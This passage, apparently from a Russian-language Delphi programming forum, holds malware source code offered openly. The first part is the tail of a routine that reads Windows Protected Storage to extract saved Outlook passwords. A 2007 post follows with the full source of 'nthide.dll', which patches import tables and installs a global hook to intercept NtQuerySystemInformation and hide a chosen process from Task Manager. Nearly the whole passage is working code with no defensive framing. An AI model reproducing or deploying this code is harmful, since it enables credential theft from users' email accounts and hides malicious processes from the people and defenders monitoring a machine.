    ReadValue(PStorageGetTypeName(TypesList[i]), 0, pType.pType, pType.pType);
//Забираем из главных ветвей подветви в SubTypesList
    ppEnum := nil;
    if (FProvider.EnumSubTypes(0, pType.pType, 0, ppEnum) <> S_OK) or (ppEnum = nil) then
    begin
      Exit;
      ppEnum := nil;
    end;
    ItemsRead := 0;
    repeat
      ppEnum.Next(SizeOf(GUIDBuf) div SizeOf(GUIDBuf[0]), GUIDBuf[0], ItemsRead);
      if ItemsRead > 0 then
      begin
        SetLength(SubTypesList,ItemsRead);
        for i2 := 0 to ItemsRead-1 do SubtypesList[i2]:=GUIDBuf[i2];
      end;
    until ItemsRead = 0;
    ppEnum := nil;
//Считываем значения подветвей
    for j := 0 to high(SubtypesList) do
    begin
      New(pSubtype);
      pSubtype.T := 1;
      pSubtype.pType := pType.pType;
      pSubtype.pSubtype := SubTypesList[j];
      ReadValue(PStorageGetSubtypeName(pType.pType,pSubtype.pSubtype), 1, pType.pType, pSubtype.pSubtype);
//Забираем значения подветвей в ItemsList
      ppEnumItems := nil;
      if (FProvider.EnumItems(0, pType.pType, pSubtype.pSubtype, 0, ppEnumItems) <> S_OK) or (ppEnumItems = nil) then
      begin
        Exit;
        ppEnumItems := nil;
      end;
      ItemsRead := 0;
      repeat
        ppEnumItems.Next(SizeOf(ItemBuf) div SizeOf(ItemBuf[0]), ItemBuf[0], ItemsRead);
        if ItemsRead > 0 then
        begin
          SetLength(ItemsList,ItemsRead);
          for i3 := 0 to ItemsRead-1 do
          begin
            ItemsList[i3]:=String(ItemBuf[i3]);
            CoTaskMemFree(ItemBuf[i3]);
          end;
        end;
      until ItemsRead = 0;
      ppEnumItems := nil;
//Считываем то, ради чего всё и затеяли
      for k := 0 to high(ItemsList) do
      begin
        New(pItem);
        pItem.T := 2;
        pItem.pType := pType.pType;
        pItem.pSubtype := pSubtype.pSubtype;
        pItem.pItem := ItemsList[k];
        ReadValue(pItem.pItem, 2, pType.pType, pSubtype.pSubtype);
      end;
    end;
  end;
end;

function GetOutlookPass: string;
begin
  if not(InitLib) then exit;          //подгружаем dll
  if not(PStorageConnect) then exit;  //соединяемся
  ExpandPSProvider;  //получаем данные
  //Завершаем работу..
  FProvider:=nil;
  FreeLibrary(FLibrary);
  result:=pass;
end;

end.

Knight_of_Darkness 15.07.2007 23:55
nthide.dll - для сокрытия процессов в WinXP

Код:

library hide;
uses
 Windows,
 SysUtils,
 ImageHlp,
 TlHelp32;
type SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemNotImplemented1,
 SystemProcessesAndThreadsInformation,
 SystemCallCounts,
 SystemConfigurationInformation,
 SystemProcessorTimes,
 SystemGlobalFlag,
 SystemNotImplemented2,
 SystemModuleInformation,
 SystemLockInformation,
 SystemNotImplemented3,
 SystemNotImplemented4,
 SystemNotImplemented5,
 SystemHandleInformation,
 SystemObjectInformation,
 SystemPagefileInformation,
 SystemInstructionEmulationCounts,
 SystemInvalidInfoClass1,
 SystemCacheInformation,
 SystemPoolTagInformation,
 SystemProcessorStatistics,
 SystemDpcInformation,
 SystemNotImplemented6,
 SystemLoadImage,
 SystemUnloadImage,
 SystemTimeAdjustment,
 SystemNotImplemented7,
 SystemNotImplemented8,
 SystemNotImplemented9,
 SystemCrashDumpInformation,
 SystemExceptionInformation,
 SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,
 SystemContextSwitchInformation,
 SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,
 SystemPrioritySeparation,
 SystemNotImplemented10,
 SystemNotImplemented11,
 SystemInvalidInfoClass2,
 SystemInvalidInfoClass3,
 SystemTimeZoneInformation,
 SystemLookasideInformation,
 SystemSetTimeSlipEvent,
 SystemCreateSession,
 SystemDeleteSession,
 SystemInvalidInfoClass4,
 SystemRangeStartInformation,
 SystemVerifierInformation,
 SystemAddVerifier,
 SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
  0:(
    Characteristics: DWORD);
  1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
  end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC=^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var    ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
        pThunk: PDWORD; ppfn:PFARPROC;
        ffound: LongBool;
      written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
  begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
  end;
  if (pImportDesc.Name = 0) then exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
  begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then
      begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
      end;
    Inc(pThunk);
  end;
end;
var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl quit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne quit
 onceagain:
 mov esi, SystemInformation
 getnextpidstruct:
 mov ebx, esi
 cmp dword ptr [esi],0
 je quit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne getnextpidstruct
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp onceagain
 fillzero:
 and [ebx], edx
 jmp onceagain
 quit:
 mov Result, eax
end
procedure InterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;
procedure UninterceptFunctions;
var hSnapShot: THandle;
        me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
  ZeroMemory(@me32,sizeof(MODULEENTRY32));
  me32.dwSize:=sizeof(MODULEENTRY32);
  Module32First(hSnapShot,me32);
    repeat
    ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
  CloseHandle(hSnapShot);
  end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result:=0;
end;
procedure InstallHook; stdcall;
begin
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
      ptr2: PBOOL;
begin
 mypid:=0;
 result:=false;
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
  begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;
 addrMap^:=pid;
 ptr2:=PBOOL(DWORD(addrMap)+4);
 ptr2^:=HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result:=true;
end;
exports
 HideProcess;
var
 hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
  UninterceptFunctions()
 else
  CloseHandle(hFirstMapHandle);
end;
begin
 hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
  mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
  mypid:=mapaddr^;
  hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
    begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
  InterceptFunctions;
  finally
  UnmapViewOfFile(mapaddr);
  CloseHandle(Hmap);
  DLLProc:=@LibraryProc;
  end;
end.


Время: 10:40